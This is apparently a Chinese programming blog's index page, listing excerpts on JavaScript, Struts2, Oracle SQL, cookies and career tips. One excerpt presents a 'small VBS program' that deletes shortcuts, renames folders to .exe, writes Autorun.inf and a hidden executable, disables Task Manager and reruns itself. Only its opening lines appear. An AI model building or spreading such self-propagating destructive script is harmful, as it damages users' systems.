window.showModalDialog();用法及属性
摘要:参考地址:http://hamasky.blog.sohu.com/33873567.htmlparent.html <script type="text/javascript"> function openWin(){ // 子窗口地址 var srcFile = "child.html"; // 子窗口属性 var winFeatures = "dialogHeight:300px; dialogLeft:200px;"; // 将 From 的 ID 作为参数传递到子窗口 var obj = getForm; //
阅读全文
submint()和onsubmit() 的区别
摘要:这两个方法都是form表单中点提交时触发的方法。onsubmit属性就是form标签中的一个方法,需要return的结果,可以是true(缺省值)、false或自定义函数。在日常的开发中,往往在表单被提交之前需要加上验证(验证日期格式是否正确,验证某个input是否为空…),首先想到的就是 onsubmit事件,在一个submit类型按钮点击时,首先触发的就是form的onsubmit()事件。这时,我们就可以写上自己的验证。代码如下:<form action="1.asp" method="post" name="form1"
阅读全文
多看开源的项目,多查源代码,并结合api结构
摘要:从项目中学习运用的方法;从api中学习这些源码知识的结构和关联的体系;从源代码中查看具体的算法和原理。
阅读全文
XsqlFilterResult----动态生成sql语句的类,过滤一些为空的查询条件
摘要:DAO XsqlBuilder用于可以动态构造sql语句,避免在构造sql时使用过多的 if 判断,与SafeSqlProcesser集成提供防止sql注入攻击,与DataModifier集成完成数据类型的转换 动态构造sql示例: Java代码 String xsql = "select * from user where 1=1 /~ and username = {username} ~/ /~ and password = {password} ~/ /~ and age = [age] ~/ /~ and sex = [sex] ~/" Map filters =
阅读全文
textArea中的maxlength是无效的 解决办法
摘要:--------------------------------------------------------------------------------------<s:textarea name="doc.intro" id="intro" rows="3" cssStyle="width: 505px;" onkeyup="validateLength(this)" onblur="validateLength(this)"></s:textar
阅读全文
四大门户网站裂变 早已面目全非(2009-08-16 22:35:09)
摘要:互联网在中国诞生伊始,门户被认为是最佳的商业模式。行业格局由三大门户“新浪、搜狐、网易”加上新门户“腾讯、TOM、263”构成,而后随着TOM和263不断式微,遂变为四大门户。如今,这四家企业已很难再用这一习惯称呼去涵盖,各自的发展路线发生了严重的分化。 新浪、搜狐、网易与腾讯习惯被称中国互联网四大门户,不过四大门户早已面目全非。 《创业邦》文/何宝荣 腾讯7月20日以101港元的高价开盘,并一度冲高至106港元,这也是其自2004年在香港上市以来首次突破百元大关(2004年6月16日的上市首日开盘价仅为4.38港元)。以此计算,腾讯的市值已近2,000亿港元,超过了eBay和雅虎,在全...
阅读全文
background repeat-x
摘要:<input id="verifyCode" name='verifyCode'style="background: url(images/login_6.gif) repeat-x; border: solid 1px #27B3FE; height: 20px; background-color: #FFFFFF"size="4" onkeydown="keyDown(event)" size="4" />peat : 是不重复背景图片的background-re
阅读全文
一个vbs小程序
摘要:简单介绍一下功能: 1.桌面几乎全部快捷方式被删除 2.所有文件夹被重名名为文件夹名.exe 3.几乎所有文件关联失效 4.根目录下生成"Autorun.inf"文件; 5.根目录下生成"fun.xls.exe"文件(系统隐藏文件,必须去掉隐藏才能看见); 6.运行后自动删除自己; 7.每隔1分钟运行一次; 8.禁用任务管理器。 代码如下,将其存入记事本中,改后缀名为vbs 【 On Error Resume NextSet fso=CreateObject("Scripting.FileSystemObject")Set Cx=fs
阅读全文
cookie的简单介绍
摘要:Cookie是Web服务器保存在用户硬盘上的一段文本。Cookie允许一个Web站点在用户的电脑上保存信息并且随后再取回它。信息的片断以‘名/值’对(name-value pairs)的形式储存。 举例来说,一个Web站点可能会为每一个访问者产生一个唯一的ID,然后以Cookie文件的形式保存在每个用户的机器上。 如果您使用IE浏览器访问Web,您会看到所有保存在您的硬盘上的Cookie。它们最常存放的地方是:c:\windows\cookies(在Win 2000中则是C:\Documents and Settings\[您的用户名]\Cookies)。win7中的位置是C:\Users\s
阅读全文
jquery cookie的用法(转)
摘要:jquery cookie的用法jQuery cookie是个很好的cookie插件,大概的使用方法如下example $.cookie(’name’, ‘value’);设置cookie的值,把name变量的值设为valueexample $.cookie(’name’, ‘value’, {expires: 7, path: ‘/’, domain: ‘jquery.com’, secure: true});新建一个cookie 包括有效期 路径 域名等example $.cookie(’name’, ‘value’);新建cookieexample $.cookie(’name’, nu
阅读全文
toUTCString对时间的操作(获取全球标准时间(UTC))
摘要:toUTCString 方法返回一个已被转换为字符串的,用全球标准时间 (UTC)表示的日期。dateObj.toUTCString()必选项 dateObj 参数为任意 Date 对象。说明toUTCString 方法返回一个 String 对象,此对象中包含了使用 UTC 惯例以一种方便易读的形式进行格式化的日期。示例下面这个例子说明了 toUTCString 方法的用法。例子1:function toUTCStrDemo(){var d, s; // 声明变量。d = new Date(); // 创建 Date 对象。s = ...
阅读全文
window.frames用法
摘要:window.frames[]功能:frames[]是窗口中所有命名的框架组成的数组。这个数组的每个元素都是一个Window对象,对应于窗口中的一个框架。语法:window.frames浏览器窗口中每个定义的框架都是frames[]数组中的元素。假设ifr 是一个以存在的 iframe 的 ID 和 NAME 值: 获取iframe的方法有:document.getElementById(“ifr”); window.frames[“ifr”]; 要想使用iframe内的函数,变量就必须通过第二种方法.因为它取的是一个完整的DOM模型第一种方法只是取出了一个OBJECT而已. 如果只想改变if
阅读全文
对话框的方式显示内容(ftp)
摘要:$(function(){ var msgbox = $("#msgbox");// var height = window.screen.availHeight; // var width = window.screen.availWidth; msgbox.dialog({width:'50%',modal:true,title:"网络磁盘登录方式",resizable:true});});<div id="msgbox"><p>公司网络磁盘为FTP系统,用户名密码与邮箱一致,其中<f
阅读全文
学习源代码
摘要:常用的源码类要熟悉,并熟练使用。1. hibernate中和数据库紧密相关的类。学习doclib源码。特别是dao中的运用hibernateDaosupport.getsession()query
阅读全文
如何让链接为空 即点击时不进行跳转
摘要:主要是针对<a href="#"></a>时,还进行跳转的情况。通常会跳转到首页。解决的几种办法如下:1. <a href="####"></a>2. <a href="" onclick="return false" > </a>3. <a href="javascript:void(0)" ></a>4. <a href="javascript:void(null)" &
阅读全文
HTML特殊转义字符列表
摘要:HTML特殊转义字符列表ideajava 发布于 2年前,共有0 条评论最常用的字符实体 Character Entities显示说明实体名称实体编号半方大的空白  全方大的空白  不断行的空白格  <小于<<>大于>>&&符号&&"双引号""©版权©©®已注册商标&
阅读全文
<img usemap="#Map">的用法 (转)
摘要:<img>的一个属性,用于对应区域图片的超链接。 2009-07-08 11:18:33|分类: 网页设计 |字号订阅<body><table width="1002" border="0" cellpadding="0" cellspacing="0"> <tr> <td><img src="images/index.jpg" width="1002" height="975" borde
阅读全文
查看数据库中某个用户下的表的创建时间
摘要:select create,last_ddl_time from dba_objects where owner='SCOTT' and object_name='EMP';select create,last_ddl_time from dba_objects where owner='CRMOS' ;select sum(bytes)/1024/1024||'M' from dba_segments where owner='SCOTT' and segment_name='EMP';
阅读全文
font标签的一个小提示 不要加分号
摘要:<font color="red;"></font> 无效<font color="red"></font> 有效
阅读全文
一条灰色的线<HR align=center width=700 color=#cccccc SIZE=1>
摘要:<HR align=center width=700 color=#cccccc SIZE=1>
阅读全文
2012年Java认证考试报考指南汇总
摘要:2012年Java认证考试报考指南汇总来源:考试大 【考试大:中国教育考试第一门户】 2012年1月11日 考试须知考试介绍考试时间科目设置报名时间考试地点考试费用考试教材考试号考题类型考试形式证书领取重考规定 Java认证考试介绍 Top↑ Sun Java认证分为两个级别:Sun 认证Java程序员和Sun 认证Java开发员。Sun 认证Java程序员考试内容涉及Java所有相关知识、编程概念及applet开发技巧。Sun认证Java程序员考试旨在考察您通过应用软件分配进行复杂编程的能力。之后还要测试您完成编程所需的知识。每次考试都包括65道以上的多项选择题,时间大约为90分钟...
阅读全文
jsp九大内置对象及其作用域
摘要:九大对象: 内置对象(又叫隐含对象,有9个内置对象):不需要预先声明就可以在脚本代码和表达式中随意使用 1-out: javax.servlet.jsp.JspWriter类型,代表输出流的对象。作用域为page(页面执行期) request:javax.servlet.ServletRequest的子类型,此对象封装了由WEB浏览器或其它客户端生成地HTTP 请求的细节(参数,属性,头标和数据)。作用域为request(用户请求期)。 方法由可查看API response:javax.servlet.ServletResponse的子类型,此对象封装了返回到HTTP客户端的输出...
阅读全文
struts2 文件上传 中的空指针问题
摘要:struts2 文件上传的关键地方是定义文件的变量。即红色文字标注的地方。要一一对应上,即可。文件上传页面中,包含两个表单域,文件标题和文件浏览域——当然,为了能完成文件上传,我们应该将这两个表单域所在表单的enctype属性设置为multipart/form-data。该页面的代码如下所示: <html xmlns=" " target=_blank _extended="true">http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="C
阅读全文
•《深入理解Java虚拟机:JVM高级特性与最佳实践》
摘要:《深入理解Java虚拟机:JVM高级特性与最佳实践》
阅读全文
新浪微博信息
摘要:http://weibo.com/guide/handbook?leftnav=1&wvr=4--------------------------peter_xt用户
阅读全文
Elance是全球最大的外包网站。
摘要:Elance是全球最大的外包网站。给我的印象是门槛高,服务好,项目多,项目质量好。比起国内的猪八戒之类的网站好不知多少倍。如果你是程序员、翻译、设计师等,同时英文又好,那一定要到Elance上来接项目,这样才能充分体现你的优势嘛。因为Elance是个国际平台,上面的价格是国际价格,换算成人民币怎么都划算啊。注册 Elance的注册是需要验证电话号码的。注册完了之后,Elance的机器人会打电话过来,叫你把网页上的数字用英文念出来。通过验证之后就算注册成功了。可以开始接项目了。PS. 因为Elance涉及到钱,所以对帐号保护比较严,一定要记得你的密保答案啊,因为下次你换个地方登陆,它就会让你输.
阅读全文
大事难事,看担当;人生最大的自由不是想干啥就干啥,而是想不干啥就不干啥!
摘要:【禅悟】心小了,所有的小事就大了;心大了,所有的大事都小了。大事难事,看担当;逆境顺境,看胸襟;是喜是怒,看涵养;有舍有得,看智慧;是成是败,看坚持。凡事顺其自然;遇事处之泰然;得意之时淡然;失意之时坦然;艰辛曲折必然;历尽沧桑悟然。饮清净之茶,闭是非之口,结悟道之友。【马云:人生最大的自由】 "用人不疑,疑人不用"那是一种无奈,"用人要疑,疑人要用"才是境界。把值钱的东西扔地上,把废弃的东西镶墙上,那叫品味!人生最大的自由不是想干啥就干啥,而是想不干啥就不干啥!奥巴马约您下午去白宫喝茶谈心,您说:"哟!下午约了几个朋友去钓鱼,木有空"这才是自由!
阅读全文
输入框中的添加回车事件
摘要:平时在查询时或登录时,输入完内容后直接回车就可以进行查询或登录。这执行的是回车事件,如下:js代码:function keyDown(e) {var ev= window.event||e;//13是键盘上面固定的回车键if (ev.keyCode == 13) {//你要执行的方法searchNode();}}//input中添加键盘按下事件<input type="text" id="companyName" onkeydown="keyDown(event)" style="width: 180px;"
阅读全文
不能执行已释放 script 的代码(个人碰到的问题)
摘要:问题出现的情况: 我在一个页面中打开另一个子页面时需要选择,并将结果传到父页面中。此时报错。解决办法: 先判断子页面的值是否可以选择到,即传值之前该值是正常可用的。其次,检查父页面中对从子页面传过来的值是否运用得当,如对该值做if判断等操作(此处出现该错误的几率较大,我就是出在了这里)。最后,如果值接收没有问题,就看对页面中对该值的操作了。总结: 问题出现时头大,问题解决时气畅。
阅读全文
如何截取字符串
摘要:需求,把"01:大汽车",分成01和大汽车有两种做法:一是substringJava代码 package test; publicclass substringTest { publicstaticvoid main(String args[]) { String N = "01:大汽车"; String L=""; String R=""; int k= N.length(); for (int i = 0; i < N.length(); i++) { if (N.substring(i, i + 1).
阅读全文
查看表空间的sql语句
摘要:select a.tablespace_name as 表空间, a.bytes / 1024 / 1024 as 总容量MB, (a.bytes - b.bytes) / 1024 / 1024 "使用容量MB", b.bytes / 1024 / 1024 "剩余容量MB", round(((a.bytes - b.bytes) / a.bytes) * 100, 2) "使用百分比" from (select tablespace_name, sum(bytes) bytes from dba_data_files group
阅读全文
查询某个用户下的表
摘要:select * from dev.T_INSURANCE_COMPANY;select * from 用户名.表名分配查询权限:grant select on dev.T_INSURANCE_COMPANY to crmos;
阅读全文
ORA-00980 同义词转换不再有效(ORA-00980: synonym translation is no longer valid) (转)
摘要:今天测试部在跑系统时,老是会报ORA-00980错误。发现同义词有问题。原因是用表的同义词对表查询时报错,表找不到,同义词无效了。同义词创建时,不会去检测内容的准确性,即如果表不存在,也可以创建该表的同义词,但是select时会报ORA-00980 同义词转换不再有效(ORA-00980: synonym translation is no longer valid)的错误。Tom对此错误的解释:That errorsimply means "synonym is still here, but the object it points to is inaccessible"
阅读全文
使用Java ImageIO类进行批量图片格式转换(转载)
摘要:经常需要做图片格式转换,用Fireworks等工具又太麻烦,于是自己写了这样一个程序进行批量格式转换。使用Java进行图片格式转换可以借助ImageIO类。ImageIO类在javax.imageio包里,这个包里都是一些和图象输入输出有关的类。ImageIO类包含一组静态方法,用来快速定位ImageReader和ImageWriter并执行简单的编码和解码。 ImageIO类的声明是:public final class ImageIO extends Object 我们可以看到这是一个final类,类的所有成员都不允许覆写。在本例中,用到ImageIO类的两个静态方法: static Bu
阅读全文
正则表达式:正确的IP地址
摘要:,字符类来描述一个正确的IP地址:((2[0-4]\d|25[0-5]|[01]?\d\d?)\.){3}(2[0-4]\d|25[0-5]|[01]?\d\d?)。
阅读全文
中文传参的乱码问题
摘要:页面传参:<%-- <li><a target="main" href="${basePath}customer/customerMgr!showCustomer?orgId=<s:property value="#session.User.userRecord.unit.orgId" />&title=<%=URLEncoder.encode("我的公司") %>" >我的公司</a></li> --%>页面接收:<
阅读全文
session的运用
摘要:1。。final HttpServletRequest request = ServletActionContext.getRequest();HttpSession session = request.getSession();String verifyCode = (String) session.getAttribute("verifyCode");String clientVerifyCode = request.getParameter("verifyCode");if (session.getAttribute("verifyPic
阅读全文
js验证密码强度
摘要:密码强度评分,根据得分显示密码强度。function testpass(password,username){ var score = 0; if (password.length < 4 ) { return -4; } if (typeof(username) != 'undefined' && password.toLowerCase() == username.toLowerCase()){return -2} score += password.length * 4; score += ( repeat(1,password).length -
阅读全文
md5密码加盐
摘要:http://www.blogjava.net/heyang/archive/2010/11/28/339233.html按:以下还是炒冷饭,如果您对加盐了解就不用往下看了,以免浪费宝贵时间。 如果不了解下文部分细节的话,您可以参考这篇文章:使用MD5对存放在数据库中用户密码进行保护 直接对重要数据进行MD5处理后,反向解密确实难度很大,但还是可以找出破绽的,请看下图: (图片不能显示就文字说明一下) 例如:两个人或多个人的密码相同,通过md5加密后保存会得到相同的结果。破一个就可以破一片的密码。如果名为李自成的用户可以查看数据库,那么他可以观察到自己的密码和别人的密码加密后的结果都是一样,那
阅读全文
HTTP协议(初学者看完就半个专业人事了)
摘要:HTTP协议及其POST与GET操作差异 & C#中如何使用POST、GET等2010-05-18 15:29 by 吴秦, 5022 visits, 网摘, 收藏, 编辑引言HTTP协议我想任何IT人士都耳熟能详了,大家都能说出个所以然来。但是如果我问你HTTP协议的请求方法有哪些?POST与GET的差异?GET或POST传送数据量的大小有限制吗?HTTP响应的状态有哪些?以及在C#中你如何使用?如果你不能清楚地回答其中的大部分问题,那么这篇文章就是为你准备的!大纲如下:1、HTTP概述1.1、HTTP协议的客户端与服务器的交互1.2、HTTP消息1.3、HTTP请求的方法1.4、H
阅读全文
10款最流行的开源Web设计工具(有用没用混个眼熟)
摘要:原文链接:10 Best Open Source Tools for Web Designers 许多开源的Web设计工具有着和付费工具同样强大的功能,并且是免费的。使用这些工具,不仅能够节省开销,同时还能帮助你出色的完成日常工作,在这篇文章中,我们将和大家一起分享一下10款非常好用的开源Web设计工具。 1、Aptana Studio Aptana是一个用于HTML,CSS和JavaScript的网站开发工具。目前在社区里有成千上万的人在开发Aptana的插件。 2、Quanta Plus Quanta Plus是一个Web开发的IDE,主要用于快速编写CSS,左侧勾选样式,右侧马...
阅读全文
超理科杀人事件 作者:东野圭吾
摘要:【这是一篇非常独特非常有意思的悬疑推理类小说...写的实在是太赞了 可惜并不是很出名..故转载至此。请一定要耐心看到结尾 这个结局是我活了这么多年看过的最牛逼的结局了。。。】1 好久没到车站一带逛逛了。今天是个风清气爽的星期日,我决定去走走。平常我大多是搭乘公车过去,其实走路也不过二十分钟左右。 我一到车站就先去书店。我原本计划在书店里买了推理小说文库本(* 普遍来说,日本出版社在新书出版一段时间之后,会将作品再次推出尺寸较小、价格也较平实的版本,即为文库本。不过也有新书一发行就是以文库本上市。)之后,到柏青哥店打打小钢珠再回家。 因为今天是假日,书店里人很多,不过大多都聚集在杂志区。年轻..
阅读全文
varchar和nvarchar的区别联系
摘要:Unicode字符集就是为了解决字符集这种不兼容的问题而产生的,它所有的字符都用两个字节表示,即英文字符也是用两个字节表示如果还为了这个纠结,就直接看看后面的解说,做决定吧。一般如果用到中文或者其它特殊字符,我就会使用n开头的类型,否则的话直接使用var开头的。sql server中的varchar和Nvarchar有什么区别?答: varchar(n) 长度为 n 个字节的可变长度且非 Unicode 的字符数据。n 必须是一个介于 1 和 8,000 之间的数值。存储大小为输入数据的字节的实际长度,而不是 n 个字节。nvarchar(n) 包含 n 个字符的可变长度 Unicode 字.
阅读全文
Hibernate中No row with the given identifier exists问题的原因及解决(转)
摘要:Hibernate中No row with the given identifier exists问题的原因及解决 产生此问题的原因: 有两张表,table1和table2.产生此问题的原因就是table1里做了关联<one-to-one>或者<many-to-one unique="true">(特殊的多对一映射,实际就是一对一)来关联table2.当hibernate查找的时候,table2里的数据没有与table1相匹配的,这样就会报No row with the given identifier exists这个错.(一句话,就是数据的问题!
阅读全文
查看在线用户的监听器
摘要:package org.c.base;import java.util.Map; import java.util.concurrent.ConcurrentHashMap;import javax.servlet.http.HttpSessionAttributeListener; import javax.servlet.http.HttpSessionBindingEvent; import javax.servlet.http.HttpSessionEvent; import javax.servlet.http.HttpSessionListener;import org.apach
阅读全文
struts2中拦截器与过滤器的区别
摘要:http://www.cnblogs.com/focusj/archive/2011/03/11/2057616.html1、拦截器是基于java反射机制的,而过滤器是基于函数回调的。2、过滤器依赖与servlet容器,而拦截器不依赖与servlet容器。3、拦截器只能对Action请求起作用,而过滤器则可以对几乎所有请求起作用。4、拦截器可以访问Action上下文、值栈里的对象,而过滤器不能。5、在Action的生命周期中,拦截器可以多次调用,而过滤器只能在容器初始化时被调用一次。过滤器其主要特点在于:取你需要的东西,忽视那些不需要的东西!在程序中,你希望选择中篇文章中的所有数字,你就可以针
阅读全文
struts2 拦截器
摘要:如何使用struts2拦截器,或者自定义拦截器。特别注意,在使用拦截器的时候,在Action里面必须最后一定要引用struts2自带的拦截器缺省堆栈defaultStack,如下(这里我是引用了struts2自带的checkbox拦截器):<interceptor-ref name="checkbox"> <param name="uncheckedValue">0</param> </interceptor-ref> <interceptor-ref name="defaultStack&
阅读全文
JS全局变量
摘要:http://www.cnblogs.com/xianbing/archive/2012/02/27/2369369.html声明方式1:?12var test;var test = 5;需注意的是该句不能包含在function内,否则是局部变量。这是第一种方式声明全局变量。声明方式2:?1test = 5;没有使用var,直接给标识符test赋值,这样会隐式的声明了全局变量test。即使该语句是在一个function内,当该function被执行后test变成了全局变量。声明方式3:?12window.test;window.test = 5;这种方式经常被用到一个匿名函数执行后将一些函数公
阅读全文
a标签中target的用法之一
摘要:<a href="http://www.kunlunrisk.com" target="_blank">http://www.kunlunrisk.com</a></td> 在空白页中打开该连接<a href="http://www.kunlunrisk.com" >http://www.kunlunrisk.com</a></td> 在当前页中打开该连接。默认是target="_self"。也可以在自己写的模版中打开,如<p>1.
阅读全文
主题:构建高性能网站,针对前台工程师--总结篇(转)
摘要:首先从一次完整的的请求说起:(以此为例get,www,baidu.com)1,webbrower 发出request,2,然后解析www.baidu.com为ip,找到ip的服务器,3,服务器处理请求资源并返回请求的内容,4,browser接受请求内容过程,(返回内容是按顺序读取的)4.1遇到外联css,就会并发去读取css内容(),4.2遇到图片时,回去并发读取图片,目前浏览器的并发数为2,4.3遇到js时则会阻塞其他请求。4.4加载完css后,browse开始渲染页面,4.5直到加载完页面中的文本资源,这时dom的结构已经确定,会出发 document.ready方法4.6 browse继
阅读全文
在页面引入js文件冲突问题(注意js文件导入的顺序)
摘要:jquery-1.2.6.js与json.js以及处理ajax框架的prototype.js同时引入到jsp页面时,在引用jquery.js中的方法时会有冲突,必须按先后序顺引入这些文件。 最先引入json.js文件,然后引入prototype.js文件,最后引入jquery-1.2.6文件,如果先引入的jquery文件则会报错“找不到对象或对象不存在”。 例如: <script language="javascript" type="text/javascript" src="<%=basePath%>/include/sc
阅读全文
Unable to instantiate Action
摘要:HTTP Status 500 -type Exception reportmessagedescription The server encountered an internal error () that prevented it from fulfilling this request.exceptionUnable to instantiate Action, CustomerAccessLogAction, defined for 'logMgr' in namespace '/logmgr'CustomerAccessLogAction com.o
阅读全文
优秀程序员和一般程序员差别在哪?(转)
摘要:摘要:在这个世界上有两种程序员:Day Programmers(白班程序员)和Night Programmers(夜猫子程序员),你知道优秀程序员和一般程序员有哪些差别吗?你又是哪一类型的呢?俗话说不想当CEO的程序员,不是好的产品经理。程序员们,加油吧!还记得研发频道此前发表过的一篇《白班程序员 VS. 夜猫子程序员》吗?在这个世界上有两种程序员,我们称之为:Day Programmers(白班程序员)和Night Programmers(夜猫子程序员)。本文我们将探讨优秀程序员和一般程序员有哪些差别,看看您是属于那一种?来自知乎网上的大牛们各抒己见,一起来看下他们是如何区分的。创业者 郭凛
阅读全文
软件开发经验浅谈(转)
摘要:不知不觉做软件已经做了两年,有成功的喜悦,也有失败的痛苦,但总不敢称自己是高手,因为和我心目中真正的高手们比起来,还差得太远。通过这几年的软件开发,积累了一些经验而已,先谈谈自己的经验,其实我的经验也不足,只能算是这几年来在编程方面的一些看法吧。 第一、什么叫编程。有人说:“编程讲究是一个整体的平衡性”。“平衡性”是软件的很重要的部分,从平衡性的角度去考虑编程,就会抑制你想要用最新技术,最新系统等等一些想法。因为从平衡性的角度考虑,只要你的软件有一个瓶颈出现,你的程序就是失败。你首先要考虑的是怎么消除程序中可能存在的一些瓶颈。在这个基础上你才有权利去考虑提高你程序的性能最新的技术,最好系统,如
阅读全文
oracle时间插入
摘要:oracle数据库修改时间数据时,要注意时间数据的类型。如果是DATE\TIMESTAMP类型的,不可以直接复制粘贴。可以采用sql语句的方式实现数据的插入:update t_customer_access t set t.entrered = (select entrered from t_customer_access where id = 297)+111 where t.id = 244系统时间练习:select sysdate,CAST(SYSDATE AS TIMESTAMP) "DATETIME",TO_CHAR(sysdate,'MM-DD-YYY
阅读全文
Eclipse快捷键大全(转载)
摘要:Eclipse快捷键大全(转载)Ctrl+1 快速修复(最经典的快捷键,就不用多说了) Ctrl+D: 删除当前行 Ctrl+Alt+↓ 复制当前行到下一行(复制增加) Ctrl+Alt+↑ 复制当前行到上一行(复制增加) Alt+↓ 当前行和下面一行交互位置(特别实用,可以省去先剪切,再粘贴了) Alt+↑ 当前行和上面一行交互位置(同上) Alt+← 前一个编辑的页面 Alt+→ 下一个编辑的页面(当然是针对上面那条来说了) Alt+Enter 显示当前选择资源(工程,or 文件 or文件)的属性 Shift+Enter 在当前行的下一行插入空行(这时鼠标可以在当前行的任一位置,不一定是最
阅读全文
一位软件工程师的7年总结
摘要:“又是一年毕业时 ”,看到一批批学子离开人生的象牙塔,走上各自的工作岗位;想想自己也曾经意气风发、踌躇满志,不觉感叹万千……本文是自己工作6年的经历沉淀或者经验提炼,希望对所有的软件工程师们有所帮助,早日实现自己的人生目标。本文主要是关于软件开发人员如何提高自己的软件专业技术方面的具体建议,前面几点旨在确定大的方向,算是废话吧。 '\ i'E*o5?5g6]#g(y)n8L1、分享第一条经验:“学历代表过去、能力代表现在、学习力代表未来。”其实这是一个来自国外教育领域的一个研究结果。相信工作过几年、十几年的朋友对这个道理有些体会吧。但我相信这一点也很重要:“重要的道理明白太晚将
阅读全文
a标签中的js确认框
摘要:<a href="javascript:if(confirm('确认要删除吗?')){window.location='${ctx}/access/customeraccess!delete?id=${item.id}&'}" class="fg-button ui-state-default fg-button-icon-solo ui-corner-all" title="删除"><span class="ui-icon ui-icon-trash"&g
阅读全文
md5密码生成工具
摘要:import java.io.BufferedReader; import java.io.InputStreamReader; import java.security.MessageDigest; import java.util.Random;public class PasswordHash { private static Random random = new Random();/** * Default constructor. */ public PasswordHash() { }public static String encrypt(String inString) ..
阅读全文